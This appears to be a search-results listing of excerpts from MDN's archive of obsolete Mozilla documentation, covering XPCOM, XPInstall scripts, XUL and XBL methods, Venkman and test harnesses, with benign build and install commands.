...hings from the mach-o libraries that we need for loading the libraries. #include <mach-o/loader.h> #include <mach-o/dyld.h> static char const *const kdependentlibraries[] = { // dependent1.dll on windows, libdependent1.so on linux, libdependent1.dylib on mac moz_dll_prefix "dependent1" moz_dll_suffix, moz_dll_prefix "dependent2" moz_dll_suffix, nsnull // note: if the dependent libs themselves depend on other libs, the subdependencies // should be listed first. }; // component.dll on windows, libcomponent.so on linux, libcomponent.dylib on mac static char krealcomponent[] = moz_dll_prefix "component" moz_dll_suffix; // forward declaration of a convienience method to look up a function symbol. static void* lookupsymbol(const mach_header* alib, const char* asymbolname); extern "...
Adding preferences to an extension - Archive of obsolete content
the refresh now option calls...
... the refresh now option calls the stockwatcher.refreshinformation() func...
Beginner tutorials - Archive of obsolete content
this page includes archived beginners tutorials, from various places around mdn. ...
...pplications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display problems in multiple browsers. learn why this is so, and how to keep your sites from being bitten by this problem. this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces. ...
Install.js - Archive of obsolete content
eext.jar content\ sampleext\ locale\ (optional) en-us\ sampleext\ ... skin\ (optional) classic\ sampleext\ ... install.js install.rdf (optional -- see above) code // install.js // xpiinstaller // by pike (heavily inspired by code from henrik gemal and stephen clavering) var xpiinstaller = { // --- editable items begin --- extfullname: 'sample extension', // the name displayed to the user (don't include the version) extshortname: 'sampleext', // the leafname of the jar file (without the .jar part) extversion: '1.0', extauthor: 'insert-your-name-here', extlocalenames: null, // e.g. ['en-us', 'en-gb'] extskinnames: null, // e.g. ['classic', 'modern'] extpostinstallmessage: null, // set to null for no...
...', // the name displayed to the user (don't include the version) extshortname: 'sampleext', // the leafname of the jar file (without the .jar part) extversion: '1.0', extauthor: 'insert-your-name-here', extlocalenames: null, // e.g. ['en-us', 'en-gb'] extskinnames: null, // e.g. ...
Creating a Web based tone generator - Archive of obsolete content
this example creates a simple tone generator, and plays the resulting tone. the function requestsounddata() produces the samples to be played. this function is called at a certain interval through the setinterval() function. the function mozwriteaudio() is called to write those samples produced in the audio stream. in order to always have samples to play, a buffer of 500 ms is created. the function mozcurrentsampleoffset() is used to know the position of the samples being played so that we can fill a 500 ms buffer of audio samples. <!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()"...
...z</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output. var audio = new audio(); audio.mozsetup(1, samplerate); var currentwriteposition = 0; var prebuffersize = samplerate / 2; // buffer 500ms var tail = null; // the function called with regular interval to populate // the audio output buffer. setinterval(function() { var written; // check if some data was not written in previous attempts. if(tail) { written = audio.mozwriteaudio(tail); currentwriteposition += written; if(written < tail.l...
Defining Cross-Browser Tooltips - Archive of obsolete content
, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior. see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, forms, or applets, this attribute specifies alternate text. the language of the alternate text is specified by the lang attribute. in other words, alt text should only be displayed when a user agent cannot display the primary content of the element (e.g., a text-mode browser that cannot display images). in a visual browser, the image should be displayed and the alt text should not. this assumes that ...
...rce on the fly, as it is sent to the user. in this approach, the server checks outgoing html for elements that have an alt attribute but no title attribute, and inserts a title attribute with the same content as the alt attribute. a variant on christian's original suggestion was made by "ct" in bug 25537. a similar solution can be employed for web servers that are based on content management systems, including microsoft's active server pages, which make such substitutions fairly simple. recommendations use the title attribute (instead of alt) to ensure desired tooltip behavior in multiple browsers. authors able to run content-rewriting proxy servers can use them to dynamically alter outgoing content to ensure both the title and alt attributes are present. related links html 4.01 sp...
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
is a subdirectory named cab/ which contains a script and a readme.txt for producing your own signed cab files. manual installation assuming you have the precompiled pluginhostctrl.dll and wish to install it on a machine, you must register it either through an install script or manually: regsvr32 pluginhostctrl.dll you must have administrator privileges to install a new control on operating systems such as windows nt, 2000 & xp. usage insert some html like this into your content: <object classid="clsid:dbb2de32-61f1-4f7f-beb8-a37f5bc24ee2" width="500" height="300"> <param name="type" value="video/quicktime"/> <param name="src" value="http://www.foobar.com/some_movie.mov"/> <!-- custom arguments --> <param name="loop" value="true"/> </object> the cl...
...rl where the plug-in may be installed from. the default plug-in will redirect you to this page when you do not have the correct plug-in installed. you may also supply any custom plug-in parameters as additional <param> elements. still to do only hosts windowed plug-ins. an official pluginhostctrl.cab file. doesn't work for the adobe acrobat plug-in yet. plug-ins cannot create writeable streams or seek in readable streams. liveconnect scripting is not supported. if you need scripting functionality, consider shipping a modified pluginhostctrl.dll that exposes methods you wish to call on your plugin. ...
Creating a hybrid CD - Archive of obsolete content
product, releases of mozilla on cd should also work on any platform. the cd should support hfs (macintosh), joliet (win32), and rock ridge (unix). many mozilla files have long file names which makes creating the cd on a macintosh difficult because the hfs filesystem limits the length of file names to 32 characters. the utility mkhybrid lets you create hybrid cds that work with all three filesystems. mkhybrid was written by james pearson and is is a component of the latest versions of cdrecord. i used version 1.8.1a03 although you'll probably want to get a newer one. here's what i did to create the cd for the second anniversary party. mkhybrid -o ~/party.iso -r -j -hfs -v mozilla.party -map ~/hfsmapping ~/party/ cdrecord -v speed=2 dev=0,6,0 ~/party.iso its also handy to be able to mount a...
...file used by mkhybrid for hfs # # extn xlate creator type comment .hqx ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quicktime movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export fi...
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
ocationprovider that works : public class locationprovider implements iappfilelocprovider { private final file libxulpath; int counter = 0; public locationprovider(file grepath) { this.libxulpath = grepath; } public file getfile(string aprop, boolean[] apersistent) { file file = null; if (aprop.equals("gred") || aprop.equals("grecomsd")) { file = libxulpath; if (aprop.equals("grecomsd")) { file = new file(file, "components"); } } else if (aprop.equals("mozbind") || aprop.equals("curprocd") || aprop.equals("comsd") || aprop.equals("profd")) { file = libxulpath; if (aprop.equals(...
...) { file = libxulpath; if (aprop.equals("grecomsd")) { file = new file(file, "components"); } } else if (aprop.equals("mozbind") || aprop.equals("curprocd") || aprop.equals("comsd") || aprop.equals("profd")) { file = libxulpath; if (aprop.equals("comsd")) { file = new file(file, "components"); } } return file; } public file[] getfiles(string aprop) { file[] files = null; if (aprop.equals("apluginsdl")) { files = new file[1]; files[0] = new file(libxulpath, "plugins"); } return files; } } calling xpcom ui from another thread appst...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
cshell" coords="47,83,203,153" href="#nsdocshell"></map> this block diagram is out of date as of january 2012 with regard to some minor control flow shuffling in nsuriloader. the prose description below has been updated. the changes do not affect functionality and the step numbers in the diagram are still accurate. guided tour during startup and component initialization, components register themselves with the uriloader via registercontentlistener. these registered listeners are used later during content dispatch. api calls to load a new uri. these can come in via nsiwebnavigation (a scriptable embedding interface) or nsilinkhandler (an internal interface used for link clicks). both interfaces are implemented by nswebshell/nsdocshell. these api calls will typically pass in a uri string ...
...ugh a three-step process to try to find the correct listener. the basic idea is that dispatchcontent calls nsdocumentopeninfo::trycontentlistener on various content listeners; if that returns true, we have found the right listener and we are done. trycontentlistener makes use of the ispreferred and canhandlecontent functions on nsiuricontentlistener and calls docontent() on the listener if it claims to handle the data, as well as hooking up a stream converter if the listener asks for one. if any of those steps fails, the function returns false so that another content listener will be looked for. the first content listener we check is the content listener associated with our window context (the docshell that initiated the load). if this can't handle the content type, we loop over our stored l...
GRE - Archive of obsolete content
ations to locate a compatible gecko runtime and embed it without knowing in advance where that runtime will be installed. this document describes how embedders should dynamically link to a gre. to understand how gres are registered, see gre registration. the xre project, which means "xul runtime environment", has been replaced by xulrunner. mozilla suite: the old gre there are two different forms for the gre: the "old" gre was part of the mozilla application suite. it was installed with the windows installer of mozilla 1.4 through 1.7.x. there was never an official gre shipped for linux, but various distributors such as red hat have registered mozilla installations as if they were a gre. the mozilla suite never supported a gre on mac. xulrunner: the new gre xulrunner is the new version ...
...ut various distributors such as red hat have registered mozilla installations as if they were a gre. the mozilla suite never supported a gre on mac. xulrunner: the new gre xulrunner is the new version of the gre, which not only allows embedding but is capable of bootstrapping entire xul applications such as firefox. xulrunner supports or is planned to support embedding on all three major platforms (windows, mac, and linux). finding and using a gre from application code avoid linking directly against xpcom.dll if an application wishes to use the gre, it must take careful steps to ensure that it links against the proper libraries. if you link directly against xpcom.dll/libxpcom.so (xpcom.lib import lib), your application will not launch unless xpcom.dll is in your path. this prevents dyna...
generateCRMFRequest() - Archive of obsolete content
oprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. crmfobject = crypto.generatecrmfrequest("requesteddn", "regtoken", "authenticator", "escrowauthoritycert", "crmf generation done code", keysize1, "keyparams1", "keygenalg1", ..., keysizen, "keyparamsn", "keygenalgn"); this method will generate a sequence of crmf requests that has n requests. one request for each key pair that is generated. the first three parameters will be applied to every request. the "escrowauthoritycert" parameter will only be used for requests that ...
...n whenever a key will be escrowed. only key exchange keys will be escrowed. if a dual use key is being generated, it will not be escrowed. the value of this argument is a base-64 encoded certificate. "crmf generation done code" this parameter is javascript to execute when the crmf generation is complete. keysizen the size in bits of the nth key to generate "keyparamsn" this string is an optional algorithm dependent parameter value. for diffie-hellman it is used to specify p and g parameters. for dsa, it will be used to specify pqg. if the key generation requires parameters and the value passed in is null, then the client will generate the parameters on its own. currently, this value is ignored. "keygenalgn" which algorithm the generated key wil...
Mozilla Application Framework - Archive of obsolete content
ou every file in the repository as well as a line-by-line breakdown of who changed which line when in each file bonsai a web interface to the checkin log that you can query for checkins between certain dates, of certain files, or by certain developers. tinderbox our 24/7 build and test webtool that constantly builds, tests, and reports on the mozilla application suite on multiple platforms so you can see the state of the application at any given point in time. community a large, active development community that interacts via newsgroups, mailing lists, irc channels, and web sites. flexible licensing with three licenses to choose from (mpl, lgpl, and gpl) so you can develop both open source and proprietary applications and combine the mozilla framework with other libraries. d...
... community a large, active development community that interacts via newsgroups, mailing lists, irc channels, and web sites. flexible licensing with three licenses to choose from (mpl, lgpl, and gpl) so you can develop both open source and proprietary applications and combine the mozilla framework with other libraries. dozens of existing applications from both large and small development teams. did you know? the mozilla app framework can be used to build standalone desktop applications like komodo, apps that run on top of the mozilla application suite like mozblog, and web applications like the mozilla amazon browser. mozilla has been ported to more than a dozen platforms including windows (95, 98, nt, 2000, xp, ce), mac os x, linux, solaris, beos, openvms, os/2, aix, and hp-ux. ...
How to Write and Land Nanojit Patches - Archive of obsolete content
d setup automated testing for all three repositories. write a script for copying patches between repositories, it'll come in useful. scenario 1: creating an internal (ie. nanojit-only) patch write the patch in whichever repository you like. for mozilla people it's probably best done in your tracemonkey repo, for adobe people it's probably best done in your tamarin-redux repo. once the patch seems ready, copy it to the other two repositories and test it. [njn: it's possible that the other tm/tr public repo hasn't been updated from nanojit-central sufficiently recently, in which case the patch won't apply cleanly. if the breakage is minor you'll be able to fix it by hand. if it's major you'll need to do a private update of that other repo in order to test. but don't push that update, as...
... at all confused about this, ask in #nanojit irc. scenario 4: if you break something if you land a patch that breaks nanojit-central, and then land a follow-up fix, it's a good idea to ensure the follow-up fix gets merged to tm and tr as soon as possible. otherwise, it might be possible that the broken patch gets pulled into tm/tr but the fix doesn't for quite some time, which will cause problems for others in the meantime. see https://bugzilla.mozilla.org/show_bug.cgi?id=529900 for an example. ...
New Security Model for Web Services - Archive of obsolete content
ity manager denies access. summary advantages the proposed declaration file places the server operator, not the client in control of access to his server by untrusted scripts. the access hole is no bigger than the service in question. the access is disabled by default, and there is nothing the user needs to do to open access, and nothing that can go wrong to make a hole in his firewall. it seems fairly easy to drop an access file into the root directory of the web server to allow access. delegation with mixed ownership independent owners of subdirectories cannot grant web script access to these subdirectories without getting the owner of the root directory to post a delegating access file. normally a server will be either inside or outside of a firewall, so this is not a problem. where...
...wners of subdirectories cannot grant web script access to these subdirectories without getting the owner of the root directory to post a delegating access file. normally a server will be either inside or outside of a firewall, so this is not a problem. where a server spans multiple owners, the alternative would be to scan all directories in the path looking for a web scripts access file, which seems undesirable. on the other hand, perhaps it is not so bad, since it permits independent management in domains where the top level owner may not care about providing access to web services. adjustments as this new model is applied to soap, and potentially document.load or xml-request, it may be desirable to eliminate the same source security bypass, because it is not clear that this is always sec...
Hacking wiki - Archive of obsolete content
f the <tt>trunk</tt> directory you just checked out is a slightly modified mediawiki install, so you can follow the mediawiki install instructions. the <tt>css</tt> folder contains files that are supposed to be in the <tt>/css</tt> directory of the site.) to get a working install, you need to configure mediawiki. it's done by navigating to <tt>/config/index.php</tt> in your web browser. polvi claims that you'll have it, but in case you don't, you can copy one from the mediawiki tarball. once you're done with the configuration script, copy the <tt>config/localsettings.php</tt> file it created to the parent directory and navigate to the location you installed mediawiki to. a main page should appear. you can log in and switch the skin to devmo if you like. mdc customizations the mdc wiki use...
...and doxygen extensions - anything special needs to be done? the title-override / breadcrumbs extensions need an additional table created. to configure it, run <tt>update-devmo.php</tt> from the command line. the following worked for me (from the <tt>www</tt> directory): /path/to/php -f ./maintenance/update-devmo.php done you should have a working install of the mdc wiki now. if you have problems with setting up the mdc wiki (and not the web server or php or mediawiki), feel free to ask in #devmo. random tips you can set the file to log by putting something like this in your localsettings.php: $wgdebuglogfile = 'c:\\123'; you can then use wfdebug() function to write to the log. ...
New Skin Notes - Archive of obsolete content
- gandalf unfortunately the category styling is very much embedded into the mediawiki code. there are some other changes i need to make, however, so i'll try to fix it up a bit while i'm digging around in there. --dria how about modifying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the background color of the link, this will help to make items "appear as links" to many users, possibly add a text-decoration: underline as well. --callek is it possible to remove the blank space on category pages, like category:dom?by the way, it looks like this skin has the same problem as previous - the edit box, category list on category pages, and others are always below the end of the sidebar. the major problem it caused in cavendish skin - that the...
... "preferences" etc. oh, i went back to login page, logged in and then from there went to the /test/ pages and it's like the old look (with menu bar at the left), where indeed, the logout link is as it should be on the left in personal tools. --mmondor 12:49, 26 aug 2005 (pdt) the logout link is exactly where the login link is. this makes sense as-is. not changing. --dria the menu column seems larger than before in the current test theme, so as to cause some reference pages to look ugly when browser set in 800x* resolution, using the default firefox 1.0.6 fonts settings on xfree86. a few examples: , .these work fine with the old theme, and i expect that this affects a lot of reference articles. that our screen resolutions are now wider than 800 pixels width does not mean that we always...
File object - Archive of obsolete content
warning: this section describes the file component of the spidermonkey javascript interpreter. file is non-standard, not generally compiled into distributions, is a potential source of huge security holes, and not well tested. getting started in order to use the file object from your javascript programs, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine. if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor ma...
...ings are "/" to indicate the unix root directory, "c:" to specify a windows drive letter, and "file:" to indicate a file url. when a file is constructed, leading and trailing spaces are removed from the filename, so new file(" abc.txt ") just creates a file called abc.txt. filenames starting and ending with the pipe symbol (|) are interpreted as pipes. readable pipelines (i.e. pipe to programs generating output on stdout) begin with the pipe symbol; writeable pipelines end with the pipe symbol. bi-directional pipelines are not supported. properties static properties file.input a file object that represents the standard input (stdin). file.currentdir a file object that represents the standard output (stdout). file.currentdir a file object that represents the standard error (st...
Actionscript Acceptance Tests - Archive of obsolete content
s encountered, the test harness will run the test against all possible -swfversion versions: uses_swfversion is the equivalent of: -swfversion 9 -swfversion 10 -swfversion 11 -swfversion 12 ... any additional args on the uses_swfversion line will be passed to each run of the vm. (see bug 587093 for details.) specifying multiple .abcs: if you desire to run a test with multiple .abc files (e.g: avmshell a.abc b.abc testname.abc) there is a special avm_args directive called multiabc that is specified surrounded by two pipe (|) symbols: |multiabc| $dir/testname_support/a.abc $dir/testname_support/b.abc the extra abc files will usually be placed in a _support dir (see additional files below). any avm arguments can be placed before the |multiabc| directive, or the line can start with the direct...
...port file. below is a sample file that covers the 4 main us timezones: # place all timezones that this file applies to. # these values correspond to the value returned by time.tzname tuple. # (see http://docs.python.org/library/time.html for details) # e.g.: eastern standard time/eastern daylight time = ('est','edt') # write timezones as tuples, one to each line. ('est', 'edt') ('cst', 'cdt') ('mst', 'mdt') ('pst', 'pdt') testname.err this file is used when the test throws an uncatchable error. the first line must contain the expected error (without the extra debugger information). the exitcode is optional, but must be defined in this file if non-zero. verifyerror: error #1021 exitcode: 1 testname.exitcode file that specifies the expected exitcode. should just be an integer with nothin...
Cmdline tests - Archive of obsolete content
the cmdline testsuite is located in test/cmdline. the testsuite allows more flexibility by coding scripts in python allowing any executable to run, sending commands to stdin, and asserting output using regular expressions. see test/cmdline/readme document for more information. ...
...: start avmshell -d test.abc, set breakpoint on a line, show local variable value, quit from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', ...
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
on win-16, the thread's attempt to address the <tt>shareddata</tt> through the pointer shared will provide interesting (though always incorrect) results. it's difficult to tell exaclty where the updated <tt>counter</tt> is being stored. the only portable manner to write this program requires that the shared structure be allocated from the heap. well, that isn't so hard to remem...
...ddress the <tt>shareddata</tt> through the pointer shared will provide interesting (though always incorrect) results. it's difficult to tell exaclty where the updated <tt>counter</tt> is being stored. the only portable manner to write this program requires that the shared structure be allocated from the heap. well, that isn't so hard to remember, is it? what is probably more likely to cause problems is passing addresses of automatically allocated variables to a function that wends its way though arbitrary amounts of convoluted logic, and finds its way into an object that is shared. one should be particularly cautious of arrays since they are passed by reference by default. 1 it is possible that our ability to measure the costs is not up to the task. original document information author:...
Venkman Internals - Archive of obsolete content
initdebugger() the previous loaded scripts are passed to an onscriptcreated() method which binds them to a scriptmanager. there is one scriptmanager per url (web page). this method is set into jsdiscripthook.onscriptcreated venkman-views.js views are the panels shown within the venkman window. for example, the "open windows" view shows the browser's windows. venkman-records.js a "record" seems to be data underlying a view. for example, framerecord represents a javascript stack frame. venkman-msg.js localization code, reads venkman.properties from a subdirectory of "locale" and injects variables. things like msg.alert define variables msg_alert. venkman-utils.js defines the dd debug dump and friends windowrecord representation of the open windows. filecontainerrecord - list o...
...eakpoint was hit and it couldn't find a matching breakpoint object. you can see the prototype for this object at http://lxr.mozilla.org/mozilla/sourc...ebugger.js#914 scriptwrapper.jsdscript is the reference to the jsdiscript object for the function. sourcecontext is the 5 lines of source text before the last instance of the word "function" on the line where this function starts. (not in 2006, seems to be computed on the fly in getsourcecontext()). the full text of the file can be found in an array located at scriptwrapper.scriptinstance.sourcetext.lines. this array is 0 based, of course. the starting line of the function is scriptwrapper.jsdscript.baselinenumber (one based). the total length of the function is scriptwrapper.jsdscript.lineextent. if you want to get at the pretty printed sour...
Venkman - Archive of obsolete content
note that it is not included in the gecko-based browsers such as k-meleon, galeon and netscape 8.x. venkman has been provided as part of the mozilla install distribution since october 2001, as well as an extension package in xpi format. documentation venkman introduction an overview and some practical examples of using the javascript debugger in web development. ...
...d kompozer javascript debugger extension version 0.9.84 is available from nvu's downloads page. we encourage you to use the latest available version 0.9.87.1 (or higher) with firefox instead. source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/summary community view mozilla forums... mailing list newsgroup rss feed irc: #venkman on irc.mozilla.org report a bug in venkman if you find a problem with venkman, please follow directives mentioned at venkman faq section 5.4 and then you may report a bug on javascript debugger component. related topics javascript, web development, developing mozilla original document in...
DOM Interfaces - Archive of obsolete content
the nsidomdocumentxbl interface the nsidomdocumentxbl interface contains methods for manipulating xbl bindings. the interface is implemented by all dom documents. idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring documenturl); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element. parameters elt - the element to retrieve anonymous children for. return value nodelist - the return value of getanony...
...synchronously obtain the specified binding document for use within a particular document (the one on which the loadbindingdocument method was invoked). the binding document can then be modified programmatically using the dom. any subsequent bindings that are attached to elements within the document will be constructed from the modified binding document. parameters documenturl of type domstring - the url of a binding document. no return value example the following snippet checks to see if any anonymous child of "element" is itself an element. if (element.ownerdocument instanceof ci.nsidomdocumentxbl) { var anonchildren = element.ownerdocument.getanonymousnodes(element); if (anonchildren) { for (var i = 0; i < anonchildren.length; i++) { ...
XML in Mozilla - Archive of obsolete content
stored in external dtd files). another exception is an entity whose system identifier is a relative path, and the xml declaration states that the document is not standalone (default), in which case mozilla will try to look for the entity under <bin>/res/dtd directory. mozilla may also make an exception with xhtml documents, see below. mozilla will read internal (dtd) subsets, and in special circumstances external dtds as explained above and will use this information to recognize id type attributes, default attribute values, and general entities. other notes a lot of the document object model (dom, w3c recommendations and drafts) applies to xml. likewise, the cascading style sheets (css, w3c recommendations and drafts) style language can be used to style xml documents. the code for most the ...
...to fully implement xlink, we need something called a link manager. see some initial design documents. testing and qa we have a lot of testcases linked to from the browser standards compliance qa page. most of the core xml test documents on the mercurial repository are located in cont...
windowsShortcut - Archive of obsolete content
summary creates a windows shortcut to the installed software. method of file object syntax int windowsshortcut( folderobject atarget, folderobject ashortcutpath, string adescription, folderobject aworkingpath, string aparams, folderobject aicon, number aiconid); parameters the windowsshortcut method has the following parameters: atarget a filespecobject representing the absolute path (including filename) to file that the shortcut will be created for. ashortcutpath a filespecobject representing the absolute path (not including filename) to where the shortcut is to be created. adescription string description for the shortcut to be used as the shortcut name with a .lnk extension (do not include .lnk in the string). a...
...t representing the absolute path (not including filename) to where the shortcut is to be created. adescription string description for the shortcut to be used as the shortcut name with a .lnk extension (do not include .lnk in the string). aworkingpath a filespecobject representing the absolute path to the working dir for where atarget will is to be run from. aparams parameters that atarget requires. aicon a filespecobject representing the absolute path (including fiilename) to a file that contains icons. can be either .ico, .dll, .exe, or any other binary file that contains icons. aiconid index of the icon from aicon to use for this shortcut. returns an integer error code. for a list of possible values, see return codes...
addFile - Archive of obsolete content
addfile method has the following parameters: registryname the pathname in the client version registry about the file. this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable. typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll.typically, relative pathnames are relative to the main pathname specified in the initinstall method. this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.note that the registry pathname is not the location of the software on the machine; it is the location of information about the software inside the client version registry. ve...
...n the addfile method puts the file in a temporary location. to move this and all other files to their final location, call the performinstall method after you've successfully added all files. note: if you are installing binary files on a macintosh, be aware that the binary format for those files must be applesingle if the resource information is to be installed properly. some file transfer programs will convert apple binaries to this format on transfer if you transfer them from a macintosh to a unix/windows machine before zipping up those files on that target system. example var xpisrc = "file.txt"; initinstall("adding a file", "addfile", "1.0.1.7", 1); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); if (0 == getlasterror()) performinstall(); else cancelinstal...
confirm - Archive of obsolete content
confirm displays a modal confirmation dialog. method of install object syntax int confirm( string atext ); int confirm( string atext, string adialogtitle, number abuttonflags, string abutton0title, string abutton1title, string abutton2title, string acheckmsg, object acheckstate ); parameters the second, extended confirm() method is supported starting with gecko 1.8. it accepts any number of parameters up to 8. previous gecko versions only support the first, one-parameter method and will throw an error on occuring the extended form. see the notes at the end of this document for a safe way to implement a fallback. atext the string to be displayed in the confirmation dialog. this ...
... mozilla application suite on win32 it is therefore recommended to only use two buttons wherever possible, and to keep in mind that button 1 has the same return value as "window closed" (see below). abutton0title custom title for button 0. abutton1title custom title for button 1. abutton2title custom title for button 2. acheckmsg a string to display as a checkbox label. acheckstate an object with a boolean value property representing the state of the checkbox: when the dialog box is shown, its checkbox will be checked when this object's value is true. after the user presses a button (or closes the window), the value property is updated according to the checkbox. var check = { value: false }; var b...
patch - Archive of obsolete content
parameters: registryname the pathname in the client version registry for the component that is to be patched.this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable. typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll. typically, relative pathnames are relative to the main pathname specified in the initinstall method. this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname. note that the registry pathname is not the location of the software on the computer; it is the location of information about the software inside the client version re...
...ifferences is in gdiff format and is created by the nsdiff utility. a patch can only be applied between two known versions. if the existing version of the file does not match the checksum stored in the gdiff file, patch returns an error without applying the patch. after patch applies a patch, it compares a checksum.of the resulting file against a checksum stored in the gdiff file. if the checksums do not match, the original version of the file is preserved, the patched version of the file is discarded, and an error code is returned. any single installation process can apply multiple patches to the same file. if performinstall indicates that a reboot is necessary to complete the installation, patch may not work in subsequent xpinstall processes until the reboot is performed. ...
XPJS Components Proposal - Archive of obsolete content
al implementation. see the status document for more recent info on the status of this proposal. draft 1.0 what are xpjs components? xpjs components is a (cheesy) name for a system to support xpcom components written in javascript. now, you might ask: "isn't that what xpconnect does?" and i would answer that xpconnect is necessary, but not sufficient to the task. xpconnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window. xpjs will provide that infrastructure. so what does this mean? the xpjs component system will support implementing xpcom services, factories, and components in javascript. it will support service a...
...e component modules each of these .js files will be expected to have the functions: nsregisterself nsgetfactory nsunregisterself (optional) nscanunload (optional) each .js file might implement one or more components. we will have one native module - called the xpjsmanager - which holds this system together. the xpjsmanager is in charge of loading these .js files, helping them register themselves, and acting as an intermediary between the xpcom component manager and the js code. xjs components are not run in browser windows. each .js file (let's call it a module) is started up and run in the context of a relatively 'raw' js global object. the standard (non-dom) js classes will be available. the xpconnectcomponents object will be available. and some additional yet to be defined objec...
XTech 2006 Presentations - Archive of obsolete content
d the future of the web - brendan eich javascript 2 will be finalised in 2007. to help migration an open source js2-to-js compiler is being developed, making js2 a reality in 2006. work on this compiler and the new features of js2 is presented by the inventor of javascript. layout algorithm improvements for web user interfaces (slides, slides as one page) - david baron a discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout. microsummaries in firefox and on the web - myk melez microsummaries are regularly-updated compilations of the most important and timely information on web pages. this ta...
...development and discuss application deployment using mozilla xulrunner. etna, a wysiwyg xml relax ng- and gecko-based editor - daniel glazman this presentation describes etna, a new wysiwyg xml editor based on gecko, the relax ng parser and validator disruptive innovations implemented for it and its query api, and relax ng extensions that were necessary to solve very old and well known problems in markup languages. an html version of the paper is available here. ...
clearSelection - Archive of obsolete content
...
... ...
loadTabs - Archive of obsolete content
« xul reference home loadtabs( uris, loadinbackground, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs. if loadinbackground is true, the tabs are loaded in the background, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs. ...
... « xul reference home loadtabs( uris, loadinbackground, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs. if loadinbackground is true, the tabs are loaded in the background, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs. ...
removeItemAt - Archive of obsolete content
the child item in the element at the specified index. the method returns the removed item. ...
...em selected so return }else{ mylistbox.removeitemat(mylistbox.selectedindex); } } function removeallitems(){ var mylistbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </script> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all items" oncommand="removeallitems()"/> <listbox id="mylistbox"> <listitem label="alpha"/> <listitem label="beta"/> <listitem label="oscar"/> <listitem label="foxtrot"/> </listbox> see also removeallitems() insertitemat() ...
Methods - Archive of obsolete content
ncrease increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferenceforelement reload reloadalltabs reloadtab reloadwithflags removeallitems removeallnotifications removealltabsbut removecurrentnotification removecurrenttab removeitemat removeitemfromselection removenotification removeprogresslistener removesession removetab removetabsprogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange ...
